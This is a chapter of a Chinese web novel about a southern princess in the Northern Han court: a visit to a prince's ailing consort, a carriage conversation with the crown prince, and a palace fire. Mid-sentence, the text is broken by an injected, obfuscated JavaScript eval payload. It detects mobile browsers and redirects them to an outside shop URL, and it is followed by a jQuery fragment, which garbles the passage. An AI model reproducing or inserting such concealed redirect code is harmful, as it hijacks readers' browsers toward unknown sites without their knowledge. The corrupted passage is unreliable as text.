这场大雪过后,北汉的春才算是真的来了。
萧旭推开窗,惊喜发现阁前含苞数日的梨花竟于一夜之间全部绽放。
天色湛蓝,春和景明,连带着人的心绪也平静许多。
恰于此时拂起一阵清风,将溢满枝头的梨花抖落了些下来。
晴日飘雪,雪下,是数日未见的北汉太子刘承胥。
他面容沉静,端坐在两轮素舆上,今日并不算太冷,却搭了条毯子在双膝。
闻及推窗声,他缓缓抬起头,凤眼轻展,对刚巧向下看的萧旭微微一笑。
萧旭将手撑在阑干上,注视着树下梨雪映花的太子,问:“殿下是路过,还是来寻人?”
刘承胥与她四目相对,神色自若道:“天朗气清,孤奉父皇之命,来接永安公主去赏北汉春光,聊尽地主之谊。”
萧旭以手托腮,思索道:“不知北汉哪里的春光最好呢?”
刘承胥眸色未改,狭长凤目始终平静地注视着萧旭,“静安王妃擅花艺之道,王府里有一座牡丹园,公主有兴趣吗?”
正合萧旭心意。
她摊了摊手,悠悠道:“我对北汉一无所知,只有任凭殿下安排了。”
刘承胥颔首道:“那么孤,在这里等公主梳妆。”
“不必。”萧旭一面说着,一面绕出门,来到梨树下,将落在刘承胥肩头的梨花轻轻拂开,笑道:“现在就可以走。”
她突然靠近,身上带着极淡的木槿花的香味,刘承胥语气却轻了几分,“公主好像迫不及待?”
萧旭没有否认,反问道:“殿下难道不期待吗?”
*
刘承焕才回到府上喝了盏茶,就收到了太子要来拜访的消息,他虽有些疑惑,却还是交代枕书道:“去同王妃说一声,太子要来。”
更让他意外的,还有同太子一道前来的南国公主。
她着了袭月白齐腰襦裙,妆容素雅,与宴会和长秋宫外遇见的她都很不同,脚步轻快地跟在太子身后。
只是在与他四目相对时,她的脚步旋即慢了下来。
她好像有些怕他。
*
萧旭亦步亦趋地跟在太子后面,不经意间又注意到了刘承焕的那双琥珀色眸子。
他虽站在和煦日光里,却不能于他冷白肤色增益半分暖意。
以至于分明最是柔和的琥珀色,看上去也多了几分冷意,让人不愿靠近。
她只好暂时别开眼,不去看那双冷热不辨的眸子。
静安王府春色满园,本该是个赏春的好去处。
只是她今日,不是为赏春而来。
在与刘承焕见过礼后,只听刘承胥问道:“王妃的身子,可有好些了?”
刘承焕躬身道:“劳太子殿下挂心,回春后,王妃身子就已好了许多。之所以没有来接驾,是因为得知殿下要来,所以在牡丹园准备茶点。”
刘承胥点头道:“那就有劳皇兄带路了。”
春寒料峭,虽有回暖,牡丹园中的牡丹开得却不好。
寥寥几朵,瓣尖凝着未退的寒意,连舒展都带着几分拘谨,绽得并不肆意。
萧旭远远就看见了亭子里忙碌的背影,只因顾及太子在,脚步不得不放得慢了些。
再走近些时,她心中又生出几分犹疑来。
那背影看起来,实在不应该是她记忆中的沈清歌会成为的模样。
一袭深紫曳地长裙,举止端庄,转过身来看见他们后,遥遥便向刘承胥见了个礼。
她显然没有认出萧旭,刘承焕引见后,她复又补了个礼。
萧旭本想上前握住她的手叙旧,却怎么也迈不出这一步。
面前的沈清歌客套疏离,与她认识的沈清歌判若两人。
牡丹园设在水池边,此时虽是正午,却倏然起了阵寒风,拂过水面时带起些许冷意,萧旭暗暗捂紧了自己的外衫。
刘承胥虽没看她,却将之前搭在双膝上的毯子递给了她。
而后方对刘承焕道:“皇兄,孤有事要与你相商,不如就请王妃在此招待公主。”
刘承焕微微颔首,随即领着刘承胥离开。
一时亭子里只余萧旭与沈清歌两个人。
沈清歌请萧旭落座,又为她煮了盏新茶,过程中,她始终低垂着头,沉默不语。
萧旭忍不住问道:“分别多年,王妃过得好吗?”
沈清歌煮茶的手一滞,脸上浮起一个淡淡的笑,或许久在病中,这样浅淡的笑看起来都有些费力。
她轻声说道:“劳公主挂心,我过得很好。”
萧旭很想请她将他们的这桩婚事细细讲来,但面对如今的清歌,难免又觉得冒犯,只好随口道:“你与他,成婚多久了?”
“大概,七年多了吧。”
她的语气很淡,似乎是不愿意多言,便转移话题道:“公主与太子殿下,也该要完婚了吧。”
萧旭点了点头,“届时,请王妃一定要来。”
日光逐渐隐入云层,带走了最后的暖意,沈清歌拿出锦帕,捂着嘴猛咳了几声,萧旭见状,本想将自己身上的毯子搭在沈清歌的身上,却被沈清歌用手按了下来。
待平复后,沈清歌方才道:“公主,是愿意的吧。”
声音很轻,随风散开,仿若不曾存在过。
萧旭一怔,只听沈清歌继续道:“我曾以为,公主心仪之人,会是光风霁月的谦谦君子。”
萧旭扶着沈清歌的手微微一滞。
原来,关于她们之间的一切,她都未曾忘记。
沈清歌却又很快矢口否认道:“是我失言了。”
也不给萧旭任何接话的时机,“公主可以尝尝我做的糕点。”
萧旭望着桌前各式各样精致的点心,讶然道:“这都是你做的?”
记忆里,沈清歌出生将门,贪玩好吃,却一直是一个爱吃不爱做的人。
沈清歌垂眸道:“总要找些事情做来打发时日的。”
她依旧说着话,脸色却愈加惨白,萧旭便道:“我略晓医术,可以为王妃看看——”
“公主。”
萧旭话才说出口,还未为清歌诊脉,身后就传来太子的声音。
他的声音很淡,却像是浸在寒潭的水,渗着幽幽冷意。
也不知道是什么时候出现的。
只听他继续道:“天色不早了,我们该回宫了。”
*
马车里,萧旭注视着闭目养神的太子,问道:“殿下为什么不让我给静安王妃诊脉?”
刘承胥凤目轻抬,回望萧旭探究的眸子,道:“公主是不是忘了,自己在静安王面前应该是软弱可欺的模样?”
对于刘承胥的调侃,萧旭也不恼,只是轻笑道:“不管殿下今日出宫是何目的,我都要对殿下道声谢。”
这是真的,她一直没有合适的时机去看清歌。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938425|213786||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
刘承胥没有回应她的话,而是掀开帘子,抬眼向马车外看去。
层云堆叠,天色渐暗。
分明昨夜观云台推测,今日不会有雨。
难道是天意。
萧旭随刘承胥的目光望去,起疑道:“殿下在看什么?”
刘承胥将帘子放下来,马车里霎然暗了下来,萧旭视线模糊,眸底闪过一丝错愕。
刘承胥看在眼里,淡淡问道:“你的眼疾,当真只有通过长秋宫才能解吗?”
本就只是托辞。
她真正要查的,是长秋宫里关于萧钰身份的秘密,关于萧钰拒婚的真相。
闻及此言,萧旭道:“总归是条出路,总比没有法子的好。”
刘承胥缓缓转动着手中的白玉扳指。
一圈,两圈——
转到第三圈时,层云尽散,斜阳透过帷幔洒进舆内,落下点点碎光。
也落在她看似平静的杏眸。
他方才以一种极为平淡的语气,诉说着对于萧旭而言,可能会发生的一件,极不愿见到的事。
“今日,翊王的人,会在长秋宫放一把火。”
“什么火?”萧旭脱口而出时,方才意识到刘承胥口中的火,是真的火。
怪不得,他频频观望天色。
如果今日下雨,这把火,就放不成了。
怪不得,他破天荒地要带她出宫,以沈清歌扰乱她的心绪。
沈清欢一出现,这就是一场局。
作为世家子弟的沈清欢,怎么会出现在北帝为她举办的,名为北汉皇室才能参加的接风宴?
不出现在接风宴,萧旭又怎么会知道沈清歌的近况?
又怎么会一时疏忽,放下长秋宫的事情,随他出宫。
萧旭抬眼看向刘承胥,“殿下为什么要放任翊王烧了长秋宫?”
那双平静的杏眸终于有了丝异动,睫羽轻颤,看上去难以置信。
刘承胥转动白玉扳指的手微微一滞,没再看她,只是淡淡说道:“抱歉,你要查的事情,太大。”
萧旭追问道:“你知道我要查什么事情?”
刘承胥凤目半敛,沉声道:“公主放心,你的眼疾,孤会想法子。”
“长秋宫的这把火,也一定要放。”
*
马车停下来的时候,萧旭几乎是冲下去的。
她看见不远处越来越烈的浓烟。
她跑向长秋宫,一路上,身侧不断有宫人奔走疾呼:“长秋宫走水了!走水了!”
怎么可以走水呢?
她还没有查清楚,他为什么要抛下她?
她跑到宫殿前,想起那个未被她带走的空匣子。
万一上面还有什么漏掉的线索呢?
想到这里,她一把夺过身旁宫人的水桶,将水浇在自己身上,不管不顾地向大火跑去。
被夺了水桶的宫人愣在原地,直到身后太子殿下拄着手杖追上来问她:“永安公主呢?”
见她没有反应,一向情绪稳定的太子竟厉声向她吼道:“孤问你公主呢!”
太子身后的李将军解释道:“有没有见过一个穿着月白宫装的女子?”
她这才回过神来,哆嗦着跪在地上,身子不住发颤,“公主,公主夺了奴婢的水桶,向大火里冲,冲了——”
话音未落,她竟瞥见身患腿疾多年的太子,丢了手杖,也往大火里冲了去。